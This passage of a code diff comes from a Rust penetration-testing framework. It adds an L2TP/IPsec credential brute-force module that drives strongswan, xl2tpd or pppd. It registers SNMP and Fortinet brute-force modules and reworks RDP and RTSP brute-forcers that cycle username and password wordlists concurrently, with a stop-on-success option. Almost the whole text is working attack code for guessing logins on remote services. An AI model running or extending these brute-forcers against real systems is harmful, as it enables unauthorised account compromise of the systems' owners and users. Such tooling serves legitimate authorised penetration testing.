.await;
if pppd_check.is_ok() && pppd_check.unwrap().status.success() {
return try_l2tp_pppd(addr, username, password, psk, timeout_duration).await;
}
}
Err(anyhow!("No L2TP client tools found. Please install strongswan, xl2tpd, or pppd with L2TP support."))
}
async fn try_l2tp_strongswan(addr: &str, username: &str, password: &str, psk: &Option<String>, timeout_duration: Duration) -> Result<bool> {
// Extract IP address from addr (remove port if present)
let server_ip = addr.split(':').next().unwrap_or(addr);
// Create temporary directory for config files
let temp_dir = std::env::temp_dir();
let conn_name = format!("l2tp_brute_{}", std::process::id());
let ipsec_conf_path = temp_dir.join(format!("{}.conf", conn_name));
let ipsec_secrets_path = temp_dir.join(format!("{}.secrets", conn_name));
// Build IPsec configuration
let psk_value = psk.as_deref().unwrap_or("default");
let ipsec_conf = format!(
r#"conn {}
type=transport
authby=secret
left=%defaultroute
right={}
rightprotoport=17/1701
auto=start
keyexchange=ikev1
ike=aes128-sha1-modp1024
esp=aes128-sha1
"#,
conn_name, server_ip
);
// Build secrets file
let ipsec_secrets = format!(
r#"{} : PSK "{}"
{} : XAUTH "{}"
"#,
server_ip, psk_value, username, password
);
// Write config files
std::fs::write(&ipsec_conf_path, ipsec_conf)
.map_err(|e| anyhow!("Failed to write IPsec config: {}", e))?;
std::fs::write(&ipsec_secrets_path, ipsec_secrets)
.map_err(|e| anyhow!("Failed to write IPsec secrets: {}", e))?;
// Set permissions on secrets file (should be 600)
#[cfg(unix)]
{
use std::os::unix::fs::PermissionsExt;
let mut perms = std::fs::metadata(&ipsec_secrets_path)?.permissions();
perms.set_mode(0o600);
std::fs::set_permissions(&ipsec_secrets_path, perms)?;
}
// Try to establish connection using ipsec
// Note: This requires root privileges and proper strongswan setup
// strongswan typically reads from /etc/ipsec.conf and /etc/ipsec.secrets
// For a bruteforce tool, we'd ideally use temporary configs, but ipsec
// doesn't easily support that. This is a framework implementation.
// In practice, you might need to:
// 1. Run as root
// 2. Temporarily modify system config files, or
// 3. Use strongswan's swanctl with custom configs
// Try using ipsec up command (requires proper system configuration)
let mut child = Command::new("ipsec")
.arg("up")
.arg(&conn_name)
.stdout(std::process::Stdio::piped())
.stderr(std::process::Stdio::piped())
.spawn()?;
let result = match timeout(timeout_duration, child.wait()).await {
Ok(Ok(status)) => {
// Check if connection was established
// Exit code 0 typically means success
Ok(status.success())
}
Ok(Err(e)) => {
Err(anyhow!("strongswan error: {}", e))
}
Err(_) => {
let _ = child.kill().await;
Ok(false)
}
};
// Clean up connection
let _ = Command::new("ipsec")
.arg("down")
.arg(&conn_name)
.output()
.await;
// Clean up temp files
let _ = std::fs::remove_file(&ipsec_conf_path);
let _ = std::fs::remove_file(&ipsec_secrets_path);
result
}
async fn try_l2tp_xl2tpd(addr: &str, username: &str, password: &str, _psk: &Option<String>, timeout_duration: Duration) -> Result<bool> {
// xl2tpd requires configuration files
// Create temporary config files for this attempt
let temp_dir = std::env::temp_dir();
let conn_name = format!("l2tp_brute_{}", std::process::id());
let xl2tpd_conf_path = temp_dir.join(format!("{}.xl2tpd.conf", conn_name));
let ppp_secrets_path = temp_dir.join(format!("{}.chap-secrets", conn_name));
let server_ip = addr.split(':').next().unwrap_or(addr);
// Build xl2tpd config
let xl2tpd_conf = format!(
r#"[lac {}]
lns = {}
ppp debug = no
pppoptfile = /etc/ppp/options.xl2tpd
length bit = yes
"#,
conn_name, server_ip
);
// Build PPP secrets (CHAP)
let ppp_secrets = format!(
r#"{} * {} *
"#,
username, password
);
// Write config files
std::fs::write(&xl2tpd_conf_path, xl2tpd_conf)
.map_err(|e| anyhow!("Failed to write xl2tpd config: {}", e))?;
std::fs::write(&ppp_secrets_path, ppp_secrets)
.map_err(|e| anyhow!("Failed to write PPP secrets: {}", e))?;
// Try to connect using xl2tpd-control
// Note: xl2tpd must be running and configured
let mut child = Command::new("xl2tpd-control")
.arg("connect")
.arg(&conn_name)
.stdout(std::process::Stdio::piped())
.stderr(std::process::Stdio::piped())
.spawn()?;
let result = match timeout(timeout_duration, child.wait()).await {
Ok(Ok(status)) => {
// Check if connection was established
Ok(status.success())
}
Ok(Err(e)) => Err(anyhow!("xl2tpd error: {}", e)),
Err(_) => {
let _ = child.kill().await;
Ok(false)
}
};
// Clean up connection
let _ = Command::new("xl2tpd-control")
.arg("disconnect")
.arg(&conn_name)
.output()
.await;
// Clean up temp files
let _ = std::fs::remove_file(&xl2tpd_conf_path);
let _ = std::fs::remove_file(&ppp_secrets_path);
result
}
#[cfg(target_os = "linux")]
async fn try_l2tp_pppd(addr: &str, username: &str, password: &str, _psk: &Option<String>, timeout_duration: Duration) -> Result<bool> {
// pppd with L2TP plugin
// This requires proper configuration and typically root privileges
let server_ip = addr.split(':').next().unwrap_or(addr);
// Create temporary options file for pppd
let temp_dir = std::env::temp_dir();
let options_file = temp_dir.join(format!("pppd_options_{}.txt", std::process::id()));
let options_content = format!(
r#"noauth
user {}
password {}
plugin pppol2tp.so
pppol2tp_server {}
"#,
username, password, server_ip
);
std::fs::write(&options_file, options_content)
.map_err(|e| anyhow!("Failed to write pppd options: {}", e))?;
let mut child = Command::new("pppd")
.arg("nodetach")
.arg("file")
.arg(&options_file)
.stdout(std::process::Stdio::piped())
.stderr(std::process::Stdio::piped())
.spawn()?;
let result = match timeout(timeout_duration, child.wait()).await {
Ok(Ok(status)) => {
// pppd returns 0 on successful connection
Ok(status.success())
}
Ok(Err(e)) => Err(anyhow!("pppd error: {}", e)),
Err(_) => {
let _ = child.kill().await;
Ok(false)
}
};
// Clean up temp file
let _ = std::fs::remove_file(&options_file);
result
}
fn normalize_target(host: &str, default_port: u16) -> Result<String> {
let re = Regex::new(r"^\[*(?P<addr>[^\]]+?)\]*(?::(?P<port>\d{1,5}))?$").unwrap();
let trimmed = host.trim();
let caps = re
.captures(trimmed)
.ok_or_else(|| anyhow!("Invalid target format: {}", host))?;
let addr = caps.name("addr").unwrap().as_str();
let port = if let Some(m) = caps.name("port") {
m.as_str()
.parse::<u16>()
.map_err(|_| anyhow!("Invalid port value in target '{}'", host))?
} else {
default_port
};
let formatted = if addr.contains(':') && !addr.contains('.') {
format!("[{}]:{}", addr, port)
} else {
format!("{}:{}", addr, port)
};
Ok(formatted)
}
fn prompt_required(msg: &str) -> Result<String> {
loop {
print!("{}", format!("{}: ", msg).cyan().bold());
std::io::stdout().flush().map_err(|e| anyhow!("Failed to flush stdout: {}", e))?;
let mut s = String::new();
std::io::stdin().read_line(&mut s)?;
let trimmed = s.trim();
if !trimmed.is_empty() {
return Ok(trimmed.to_string());
} else {
println!("{}", "This field is required. Please provide a value.".yellow());
}
}
}
fn prompt_default(msg: &str, default_val: &str) -> Result<String> {
print!("{}", format!("{} [{}]: ", msg, default_val).cyan().bold());
std::io::stdout().flush().map_err(|e| anyhow!("Failed to flush stdout: {}", e))?;
let mut s = String::new();
std::io::stdin().read_line(&mut s)?;
let trimmed = s.trim();
Ok(if trimmed.is_empty() {
default_val.to_string()
} else {
trimmed.to_string()
})
}
fn prompt_yes_no(msg: &str, default_yes: bool) -> Result<bool> {
let default_char = if default_yes { "y" } else { "n" };
loop {
print!("{}", format!("{} (y/n) [{}]: ", msg, default_char).cyan().bold());
std::io::stdout().flush().map_err(|e| anyhow!("Failed to flush stdout: {}", e))?;
let mut s = String::new();
std::io::stdin().read_line(&mut s)?;
let input = s.trim().to_lowercase();
if input.is_empty() {
return Ok(default_yes);
} else if input == "y" || input == "yes" {
return Ok(true);
} else if input == "n" || input == "no" {
return Ok(false);
} else {
println!("{}", "Invalid input. Please enter 'y' or 'n'.".yellow());
}
}
}
fn prompt_optional(msg: &str) -> Result<Option<String>> {
print!("{}", format!("{} (optional, press Enter to skip): ", msg).cyan().bold());
std::io::stdout().flush().map_err(|e| anyhow!("Failed to flush stdout: {}", e))?;
let mut s = String::new();
std::io::stdin().read_line(&mut s)?;
let trimmed = s.trim();
Ok(if trimmed.is_empty() {
None
} else {
Some(trimmed.to_string())
})
}
fn load_lines<P: AsRef<Path>>(path: P) -> Result<Vec<String>> {
let file = File::open(path.as_ref())
.map_err(|e| anyhow!("Failed to open file '{}': {}", path.as_ref().display(), e))?;
let reader = BufReader::new(file);
Ok(reader
.lines()
.filter_map(Result::ok)
.map(|line| line.trim().to_string())
.filter(|line| !line.is_empty())
.collect())
}
fn log(verbose: bool, msg: &str) {
if verbose {
println!("{}", msg);
}
}
fn get_filename_in_current_dir(input_path_str: &str) -> PathBuf {
let path = Path::new(input_path_str);
let filename_component = path
.file_name()
.map(|os_str| os_str.to_string_lossy())
.unwrap_or_else(|| std::borrow::Cow::Borrowed(input_path_str));
let final_name = if filename_component.is_empty()
|| filename_component == "."
|| filename_component == ".."
|| filename_component.contains('/')
|| filename_component.contains('\\')
{
"l2tp_results.txt"
} else {
filename_component.as_ref()
};
PathBuf::from(format!("./{}", final_name))
}
+3
View File
@@ -9,3 +9,6 @@
pub mod enablebruteforce;
pub mod smtp_bruteforce;
pub mod pop3_bruteforce;
pub mod snmp_bruteforce;
pub mod fortinet_bruteforce;
pub mod l2tp_bruteforce;
File diff suppressed because it is too large Load Diff
+317 -67
View File
@@ -1,15 +1,17 @@
use anyhow::Result;
use anyhow::{anyhow, Result};
use colored::*;
use futures::stream::{FuturesUnordered, StreamExt};
use std::{
fs::File,
io::{BufRead, BufReader, Write},
path::{Path, PathBuf},
sync::Arc,
sync::atomic::{AtomicBool, Ordering},
};
use tokio::{
process::Command,
sync::{Mutex, Semaphore},
time::{sleep, Duration},
time::{sleep, Duration, timeout},
};
pub async fn run(target: &str) -> Result<()> {
@@ -18,20 +20,70 @@ pub async fn run(target: &str) -> Result<()> {
let port: u16 = loop {
let input = prompt_default("RDP Port", "3389")?;
match input.parse() {
Ok(p) => break p,
Err(_) => println!("Invalid port. Please enter a number."),
match input.trim().parse::<u16>() {
Ok(p) if p > 0 => break p,
Ok(_) => println!("{}", "Port must be between 1 and 65535.".yellow()),
Err(_) => println!("{}", "Invalid port number. Please enter a number between 1 and 65535.".yellow()),
}
};
let usernames_file_path = prompt_required("Username wordlist path")?;
let passwords_file_path = prompt_required("Password wordlist path")?;
let usernames_file_path = loop {
let input = prompt_required("Username wordlist path")?;
let path = Path::new(&input);
if !path.exists() {
println!("{}", format!("File '{}' does not exist.", input).yellow());
continue;
}
if !path.is_file() {
println!("{}", format!("'{}' is not a regular file.", input).yellow());
continue;
}
match File::open(path) {
Ok(_) => break input,
Err(e) => {
println!("{}", format!("Cannot read file '{}': {}", input, e).yellow());
continue;
}
}
};
let passwords_file_path = loop {
let input = prompt_required("Password wordlist path")?;
let path = Path::new(&input);
if !path.exists() {
println!("{}", format!("File '{}' does not exist.", input).yellow());
continue;
}
if !path.is_file() {
println!("{}", format!("'{}' is not a regular file.", input).yellow());
continue;
}
match File::open(path) {
Ok(_) => break input,
Err(e) => {
println!("{}", format!("Cannot read file '{}': {}", input, e).yellow());
continue;
}
}
};
let concurrency: usize = loop {
let input = prompt_default("Max concurrent tasks", "10")?;
match input.parse() {
Ok(n) if n > 0 => break n,
_ => println!("Invalid number. Must be greater than 0."),
match input.trim().parse::<usize>() {
Ok(n) if n > 0 && n <= 10000 => break n,
Ok(n) if n == 0 => println!("{}", "Concurrency must be greater than 0.".yellow()),
Ok(_) => println!("{}", "Concurrency must be between 1 and 10000.".yellow()),
Err(_) => println!("{}", "Invalid number. Please enter a positive integer.".yellow()),
}
};
let timeout_secs: u64 = loop {
let input = prompt_default("Connection timeout (seconds)", "10")?;
match input.trim().parse::<u64>() {
Ok(n) if n > 0 && n <= 300 => break n,
Ok(n) if n == 0 => println!("{}", "Timeout must be greater than 0.".yellow()),
Ok(_) => println!("{}", "Timeout must be between 1 and 300 seconds.".yellow()),
Err(_) => println!("{}", "Invalid timeout. Please enter a number between 1 and 300.".yellow()),
}
};
@@ -47,83 +99,199 @@ pub async fn run(target: &str) -> Result<()> {
let addr = format_socket_address(target, port);
let found_credentials = Arc::new(Mutex::new(Vec::new()));
let stop_signal = Arc::new(Mutex::new(false));
let stop_signal = Arc::new(AtomicBool::new(false));
println!("\n[*] Starting brute-force on {}", addr);
println!("[*] Timeout: {} seconds", timeout_secs);
let users = load_lines(&usernames_file_path)?;
if users.is_empty() {
// Count lines for display
let user_count = count_lines(&usernames_file_path)?;
if user_count == 0 {
println!("[!] Username wordlist is empty or invalid. Exiting.");
return Ok(());
}
println!("[*] Loaded {} usernames", user_count);
let passwords = load_lines(&passwords_file_path)?;
if passwords.is_empty() {
let password_count = count_lines(&passwords_file_path)?;
if password_count == 0 {
println!("[!] Password wordlist is empty or invalid. Exiting.");
return Ok(());
}
println!("[*] Loaded {} passwords", password_count);
let semaphore = Arc::new(Semaphore::new(concurrency));
let mut handles = vec![];
let mut user_cycle_idx = 0;
let mut tasks: FuturesUnordered<_> = FuturesUnordered::new();
'password_loop: for pass in passwords {
if *stop_signal.lock().await {
break 'password_loop;
}
let current_users_for_this_pass = if combo_mode {
users.clone()
} else {
let user_for_this_pass = users[user_cycle_idx % users.len()].clone();
user_cycle_idx += 1;
vec![user_for_this_pass]
};
for user in current_users_for_this_pass {
if *stop_signal.lock().await {
break 'password_loop; // Break outer loop if stopping
if combo_mode {
// Try every password with every user - read line by line
let user_file = File::open(&usernames_file_path)?;
let user_reader = BufReader::new(user_file);
for user_line in user_reader.lines() {
if stop_on_success && stop_signal.load(Ordering::Relaxed) {
break;
}
let user = match user_line {
Ok(line) => line.trim().to_string(),
Err(_) => continue,
};
if user.is_empty() {
continue;
}
let permit = Arc::clone(&semaphore).acquire_owned().await?;
// Open password file for each user
let pass_file = File::open(&passwords_file_path)?;
let pass_reader = BufReader::new(pass_file);
for pass_line in pass_reader.lines() {
if stop_on_success && stop_signal.load(Ordering::Relaxed) {
break;
}
let pass = match pass_line {
Ok(line) => line.trim().to_string(),
Err(_) => continue,
};
if pass.is_empty() {
continue;
}
let addr_clone = addr.clone();
let user_clone = user.clone();
let pass_clone = pass.clone();
let found_credentials_clone = Arc::clone(&found_credentials);
let stop_signal_clone = Arc::clone(&stop_signal);
let semaphore_clone = Arc::clone(&semaphore);
let verbose_flag = verbose;
let stop_on_success_flag = stop_on_success;
let timeout_duration = Duration::from_secs(timeout_secs);
tasks.push(tokio::spawn(async move {
if stop_on_success_flag && stop_signal_clone.load(Ordering::Relaxed) {
return;
}
let permit = match semaphore_clone.acquire_owned().await {
Ok(permit) => permit,
Err(_) => return,
};
if stop_on_success_flag && stop_signal_clone.load(Ordering::Relaxed) {
return;
}
match try_rdp_login(&addr_clone, &user_clone, &pass_clone, timeout_duration).await {
Ok(true) => {
println!("[+] {} -> {}:{}", addr_clone, user_clone, pass_clone);
let mut found = found_credentials_clone.lock().await;
found.push((addr_clone.clone(), user_clone.clone(), pass_clone.clone()));
if stop_on_success_flag {
stop_signal_clone.store(true, Ordering::Relaxed);
}
}
Ok(false) => {
log(verbose_flag, &format!("[-] {} -> {}:{}", addr_clone, user_clone, pass_clone));
}
Err(e) => {
log(verbose_flag, &format!("[!] {}: error: {}", addr_clone, e));
}
}
drop(permit);
sleep(Duration::from_millis(10)).await;
}));
// Limit concurrent tasks
if tasks.len() >= concurrency {
if let Some(res) = tasks.next().await {
if let Err(e) = res {
log(verbose, &format!("[!] Task join error: {}", e));
}
}
}
}
}
} else {
// Try passwords sequentially, cycling through users - read line by line
let pass_file = File::open(&passwords_file_path)?;
let pass_reader = BufReader::new(pass_file);
// Load users into memory for cycling (needed for modulo access)
let users = load_lines(&usernames_file_path)?;
for (i, pass_line) in pass_reader.lines().enumerate() {
if stop_on_success && stop_signal.load(Ordering::Relaxed) {
break;
}
let pass = match pass_line {
Ok(line) => line.trim().to_string(),
Err(_) => continue,
};
if pass.is_empty() {
continue;
}
let user = users[i % users.len()].clone();
let addr_clone = addr.clone();
let user_clone = user.clone();
let pass_clone = pass.clone();
let found_credentials_clone = Arc::clone(&found_credentials);
let stop_signal_clone = Arc::clone(&stop_signal);
let handle = tokio::spawn(async move {
let _permit_guard = permit; // Permit dropped when task finishes
let semaphore_clone = Arc::clone(&semaphore);
let verbose_flag = verbose;
let stop_on_success_flag = stop_on_success;
let timeout_duration = Duration::from_secs(timeout_secs);
if *stop_signal_clone.lock().await {
tasks.push(tokio::spawn(async move {
if stop_on_success_flag && stop_signal_clone.load(Ordering::Relaxed) {
return;
}
let permit = match semaphore_clone.acquire_owned().await {
Ok(permit) => permit,
Err(_) => return,
};
if stop_on_success_flag && stop_signal_clone.load(Ordering::Relaxed) {
return;
}
match try_rdp_login(&addr_clone, &user_clone, &pass_clone).await {
match try_rdp_login(&addr_clone, &user, &pass_clone, timeout_duration).await {
Ok(true) => {
println!("[+] SUCCESS: {} -> {}:{}", addr_clone, user_clone, pass_clone);
println!("[+] {} -> {}:{}", addr_clone, user, pass_clone);
let mut found = found_credentials_clone.lock().await;
found.push((addr_clone.clone(), user_clone.clone(), pass_clone.clone()));
if stop_on_success {
*stop_signal_clone.lock().await = true;
found.push((addr_clone.clone(), user.clone(), pass_clone.clone()));
if stop_on_success_flag {
stop_signal_clone.store(true, Ordering::Relaxed);
}
}
Ok(false) => {
log(verbose, &format!("[-] ATTEMPT: {} -> {}:{}", addr_clone, user_clone, pass_clone));
log(verbose_flag, &format!("[-] {} -> {}:{}", addr_clone, user, pass_clone));
}
Err(e) => {
log(verbose, &format!("[!] ERROR for {}:{}/{}: {}", addr_clone, user_clone, pass_clone, e));
log(verbose_flag, &format!("[!] {}: error: {}", addr_clone, e));
}
}
drop(permit);
sleep(Duration::from_millis(10)).await;
});
handles.push(handle);
}));
// Limit concurrent tasks
if tasks.len() >= concurrency {
if let Some(res) = tasks.next().await {
if let Err(e) = res {
log(verbose, &format!("[!] Task join error: {}", e));
}
}
}
}
}
for handle in handles {
handle.await?; // Propagate JoinErrors if any task panicked
// Wait for remaining tasks
while let Some(res) = tasks.next().await {
if let Err(e) = res {
log(verbose, &format!("[!] Task join error: {}", e));
}
}
let creds = found_credentials.lock().await;
@@ -157,27 +325,98 @@ pub async fn run(target: &str) -> Result<()> {
Ok(())
}
async fn try_rdp_login(addr: &str, user: &str, pass: &str) -> Result<bool> {
async fn try_rdp_login(addr: &str, user: &str, pass: &str, timeout_duration: Duration) -> Result<bool> {
// Check if xfreerdp is available
let xfreerdp_check = Command::new("which")
.arg("xfreerdp")
.output()
.await;
let use_xfreerdp = if let Ok(output) = xfreerdp_check {
output.status.success()
} else {
false
};
if !use_xfreerdp {
// Fallback: try rdesktop if xfreerdp is not available
let rdesktop_check = Command::new("which")
.arg("rdesktop")
.output()
.await;
let use_rdesktop = if let Ok(output) = rdesktop_check {
output.status.success()
} else {
false
};
if use_rdesktop {
return try_rdp_login_rdesktop(addr, user, pass, timeout_duration).await;
}
return Err(anyhow!("Neither xfreerdp nor rdesktop is available. Please install one of them."));
}
// Use xfreerdp for authentication
let mut child = Command::new("xfreerdp")
.arg(format!("/v:{}", addr))
.arg(format!("/u:{}", user))
.arg(format!("/p:{}", pass))
.arg("/cert:ignore")
.arg("/timeout:5000")
.arg(format!("/timeout:{}", timeout_duration.as_secs() * 1000))
.arg("+auth-only") // Attempt authentication without full desktop session
.arg("/log-level:OFF")
.arg("/sec:nla") // Use Network Level Authentication
.stdout(std::process::Stdio::null())
.stderr(std::process::Stdio::null()) // Suppress stderr as well for cleaner output unless specific errors are parsed
.stderr(std::process::Stdio::null())
.spawn()?;
let status = child.wait().await?;
Ok(status.success())
// Wait for process with timeout
match timeout(timeout_duration, child.wait()).await {
Ok(Ok(status)) => {
// Check exit code - 0 typically means success
Ok(status.success())
}
Ok(Err(e)) => {
Err(anyhow!("Process error: {}", e))
}
Err(_) => {
// Timeout - kill the process
let _ = child.kill().await;
Ok(false)
}
}
}
async fn try_rdp_login_rdesktop(addr: &str, user: &str, pass: &str, timeout_duration: Duration) -> Result<bool> {
// Fallback to rdesktop (less reliable but sometimes available)
let mut child = Command::new("rdesktop")
.arg("-u")
.arg(user)
.arg("-p")
.arg(pass)
.arg("-n")
.arg("auth-only")
.arg(addr)
.stdout(std::process::Stdio::null())
.stderr(std::process::Stdio::null())
.spawn()?;
match timeout(timeout_duration, child.wait()).await {
Ok(Ok(status)) => Ok(status.success()),
Ok(Err(e)) => Err(anyhow!("Process error: {}", e)),
Err(_) => {
let _ = child.kill().await;
Ok(false)
}
}
}
fn prompt_required(msg: &str) -> Result<String> {
loop {
print!("{}", format!("{}: ", msg).cyan().bold());
std::io::stdout().flush()?;
std::io::stdout().flush().map_err(|e| anyhow!("Failed to flush stdout: {}", e))?;
let mut s = String::new();
std::io::stdin().read_line(&mut s)?;
let trimmed = s.trim();
@@ -191,7 +430,7 @@ fn prompt_required(msg: &str) -> Result<String> {
fn prompt_default(msg: &str, default_val: &str) -> Result<String> {
print!("{}", format!("{} [{}]: ", msg, default_val).cyan().bold());
std::io::stdout().flush()?;
std::io::stdout().flush().map_err(|e| anyhow!("Failed to flush stdout: {}", e))?;
let mut s = String::new();
std::io::stdin().read_line(&mut s)?;
let trimmed = s.trim();
@@ -203,10 +442,10 @@ fn prompt_default(msg: &str, default_val: &str) -> Result<String> {
}
fn prompt_yes_no(msg: &str, default_yes: bool) -> Result<bool> {
let options = if default_yes { "(Y/n)" } else { "(y/N)" };
let default_char = if default_yes { "y" } else { "n" };
loop {
print!("{}", format!("{} {} : ", msg, options).cyan().bold());
std::io::stdout().flush()?;
print!("{}", format!("{} (y/n) [{}]: ", msg, default_char).cyan().bold());
std::io::stdout().flush().map_err(|e| anyhow!("Failed to flush stdout: {}", e))?;
let mut s = String::new();
std::io::stdin().read_line(&mut s)?;
let input = s.trim().to_lowercase();
@@ -217,14 +456,25 @@ fn prompt_yes_no(msg: &str, default_yes: bool) -> Result<bool> {
} else if input == "n" || input == "no" {
return Ok(false);
} else {
println!("{}", "Invalid input. Please enter 'y', 'yes', 'n', or 'no'.".yellow());
println!("{}", "Invalid input. Please enter 'y' or 'n'.".yellow());
}
}
}
fn count_lines<P: AsRef<Path>>(path: P) -> Result<usize> {
let file = File::open(path.as_ref())
.map_err(|e| anyhow!("Failed to open file '{}': {}", path.as_ref().display(), e))?;
let reader = BufReader::new(file);
Ok(reader
.lines()
.filter_map(Result::ok)
.filter(|line| !line.trim().is_empty())
.count())
}
fn load_lines<P: AsRef<Path>>(path: P) -> Result<Vec<String>> {
let file = File::open(path.as_ref())
.map_err(|e| anyhow::anyhow!("Failed to open file '{}': {}", path.as_ref().display(), e))?;
.map_err(|e| anyhow!("Failed to open file '{}': {}", path.as_ref().display(), e))?;
let reader = BufReader::new(file);
Ok(reader
.lines()
@@ -245,15 +495,15 @@ fn get_filename_in_current_dir(input_path_str: &str) -> PathBuf {
let filename_component = path
.file_name()
.map(|os_str| os_str.to_string_lossy())
.unwrap_or_else(|| std::borrow::Cow::Borrowed(input_path_str)); // Fallback to input if no filename part
.unwrap_or_else(|| std::borrow::Cow::Borrowed(input_path_str));
let final_name = if filename_component.is_empty()
|| filename_component == "."
|| filename_component == ".."
|| filename_component.contains('/') // Ensure it's not a path segment
|| filename_component.contains('/')
|| filename_component.contains('\\')
{
"rdp_brute_results.txt" // A robust default filename
"rdp_results.txt"
} else {
filename_component.as_ref()
};
@@ -263,9 +513,9 @@ fn get_filename_in_current_dir(input_path_str: &str) -> PathBuf {
fn format_socket_address(ip: &str, port: u16) -> String {
let trimmed_ip = ip.trim_matches(|c| c == '[' || c == ']');
if trimmed_ip.contains(':') && !trimmed_ip.contains("]:") { // Basic IPv6 check, avoid re-bracketing if port already there
if trimmed_ip.contains(':') && !trimmed_ip.contains("]:") {
format!("[{}]:{}", trimmed_ip, port)
} else {
format!("{}:{}", trimmed_ip, port)
}
}
}
@@ -2,6 +2,7 @@ use anyhow::{anyhow, Result};
use base64::engine::general_purpose::STANDARD as Base64;
use base64::Engine as _;
use colored::*;
use futures::stream::{FuturesUnordered, StreamExt};
use std::{
fs::File,
io::{BufRead, BufReader, Write},
@@ -9,10 +10,11 @@ use std::{
path::{Path, PathBuf},
sync::Arc,
};
use std::sync::atomic::{AtomicBool, Ordering};
use tokio::{
io::{AsyncReadExt, AsyncWriteExt},
net::TcpStream,
sync::Mutex,
sync::{Mutex, Semaphore},
time::{sleep, Duration},
};
@@ -62,25 +64,23 @@ pub async fn run(target: &str) -> Result<()> {
} else {
None
};
let advanced_headers = Arc::new(advanced_headers);
let brute_force_paths = prompt_yes_no("Brute force possible RTSP paths (e.g. /stream /live)?", false)?;
let mut paths = if brute_force_paths {
let paths_file = prompt_required("Path to RTSP paths file")?;
load_lines(&paths_file)?
} else {
vec!["".to_string()]
};
if paths.is_empty() {
println!("[!] RTSP paths list is empty. Falling back to default root path.");
paths.push(String::new());
}
let addr = format!("{}:{}", target, port);
let (addr, implicit_path) = normalize_target_input(target, port)?;
let found = Arc::new(Mutex::new(Vec::new()));
let stop = Arc::new(Mutex::new(false));
let stop = Arc::new(AtomicBool::new(false));
let semaphore = Arc::new(Semaphore::new(concurrency));
println!("\n[*] Starting brute-force on {}", addr);
let resolved_addrs = match resolve_targets(&addr).await {
Ok(addrs) => Arc::new(addrs),
Err(e) => {
eprintln!("[!] Failed to resolve '{}': {}", addr, e);
return Err(e);
}
};
let users = load_lines(&usernames_file)?;
if users.is_empty() {
println!("[!] Username wordlist is empty or invalid. Exiting.");
@@ -97,73 +97,120 @@ pub async fn run(target: &str) -> Result<()> {
return Ok(());
}
let mut idx = 0;
let brute_force_paths = prompt_yes_no("Brute force possible RTSP paths (e.g. /stream /live)?", false)?;
let mut paths = if brute_force_paths {
let paths_file = prompt_required("Path to RTSP paths file")?;
load_lines(&paths_file)?
} else {
vec!["".to_string()]
};
if paths.is_empty() {
println!("[!] RTSP paths list is empty. Falling back to default root path.");
paths.push(String::new());
}
if let Some(p) = implicit_path {
if !paths.iter().any(|existing| existing == &p) {
paths.insert(0, p);
}
}
let mut tasks = FuturesUnordered::new();
let mut idx = 0usize;
for pass in pass_lines {
if *stop.lock().await {
if stop_on_success && stop.load(Ordering::Relaxed) {
break;
}
let userlist = if combo_mode {
let userlist: Vec<String> = if combo_mode {
users.clone()
} else {
vec![users.get(idx % users.len()).unwrap_or(&users[0]).to_string()]
};
let mut handles = vec![];
for user in userlist {
if stop_on_success && stop.load(Ordering::Relaxed) {
break;
}
for path in &paths {
if *stop.lock().await {
if stop_on_success && stop.load(Ordering::Relaxed) {
break;
}
let addr = addr.clone();
let user = user.clone();
let pass = pass.clone();
let path = path.clone();
let found = Arc::clone(&found);
let stop = Arc::clone(&stop);
let addr_clone = addr.clone();
let user_clone = user.clone();
let pass_clone = pass.clone();
let path_clone = path.clone();
let found_clone = Arc::clone(&found);
let stop_clone = Arc::clone(&stop);
let command = advanced_command.clone();
let headers = advanced_headers.clone();
let headers = Arc::clone(&advanced_headers);
let semaphore_clone = Arc::clone(&semaphore);
let addrs_clone = Arc::clone(&resolved_addrs);
let stop_flag = stop_on_success;
let verbose_flag = verbose;
let handle = tokio::spawn(async move {
if *stop.lock().await {
tasks.push(tokio::spawn(async move {
if stop_flag && stop_clone.load(Ordering::Relaxed) {
return;
}
let permit = match semaphore_clone.acquire_owned().await {
Ok(permit) => permit,
Err(_) => return,
};
if stop_flag && stop_clone.load(Ordering::Relaxed) {
drop(permit);
return;
}
match try_rtsp_login(&addr, &user, &pass, &path, command.as_deref(), &headers).await {
match try_rtsp_login(
addrs_clone.as_slice(),
&addr_clone,
&user_clone,
&pass_clone,
&path_clone,
command.as_deref(),
&headers,
)
.await
{
Ok(true) => {
let path_str = if path.is_empty() { "NO_PATH" } else { &path };
println!("[+] {} -> {}:{} [path={}]", addr, user, pass, path_str);
found.lock().await.push((addr.clone(), user.clone(), pass.clone(), path_str.to_string()));
if stop_on_success {
*stop.lock().await = true;
let path_str = if path_clone.is_empty() { "NO_PATH" } else { &path_clone };
println!("[+] {} -> {}:{} [path={}]", addr_clone, user_clone, pass_clone, path_str);
found_clone
.lock()
.await
.push((addr_clone.clone(), user_clone.clone(), pass_clone.clone(), path_str.to_string()));
if stop_flag {
stop_clone.store(true, Ordering::Relaxed);
}
}
Ok(false) => log(verbose, &format!("[-] {} -> {}:{} [path={}]", addr, user, pass, path)),
Err(e) => log(verbose, &format!("[!] {} -> error: {}", addr, e)),
Ok(false) => log(verbose_flag, &format!("[-] {} -> {}:{} [path={}]", addr_clone, user_clone, pass_clone, path_clone)),
Err(e) => log(verbose_flag, &format!("[!] {} -> error: {}", addr_clone, e)),
}
drop(permit);
sleep(Duration::from_millis(10)).await;
});
}));
handles.push(handle);
if handles.len() >= concurrency {
for h in handles.drain(..) {
let _ = h.await;
if tasks.len() >= concurrency {
if let Some(res) = tasks.next().await {
if let Err(e) = res {
log(verbose, &format!("[!] Task join error: {}", e));
}
}
}
}
}
for h in handles {
let _ = h.await;
}
idx += 1;
}
while let Some(res) = tasks.next().await {
if let Err(e) = res {
log(verbose, &format!("[!] Task join error: {}", e));
}
}
let creds = found.lock().await;
if creds.is_empty() {
println!("\n[-] No credentials found (with these paths).");
@@ -223,24 +270,24 @@ async fn resolve_targets(addr: &str) -> Result<Vec<SocketAddr>> {
/// Attempt RTSP login, trying each resolved address until one succeeds or all fail.
async fn try_rtsp_login(
addr: &str,
addrs: &[SocketAddr],
addr_display: &str,
user: &str,
pass: &str,
path: &str,
method: Option<&str>,
extra_headers: &[String],
) -> Result<bool> {
let addrs = resolve_targets(addr).await?;
let mut last_err = None;
let mut stream = None;
let mut connected_sa = None;
let mut connected_sa: Option<SocketAddr> = None;
// Try each candidate address
for sa in addrs {
match TcpStream::connect(sa).await {
match TcpStream::connect(*sa).await {
Ok(s) => {
stream = Some(s);
connected_sa = Some(sa);
connected_sa = Some(*sa);
break;
}
Err(e) => {
